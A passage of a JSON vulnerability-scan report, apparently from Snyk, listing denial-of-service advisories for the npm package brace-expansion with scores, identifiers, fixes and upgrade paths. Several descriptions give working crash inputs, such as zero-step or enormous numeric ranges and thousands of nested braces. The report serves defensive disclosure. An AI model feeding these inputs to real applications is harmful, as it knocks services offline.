"2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", 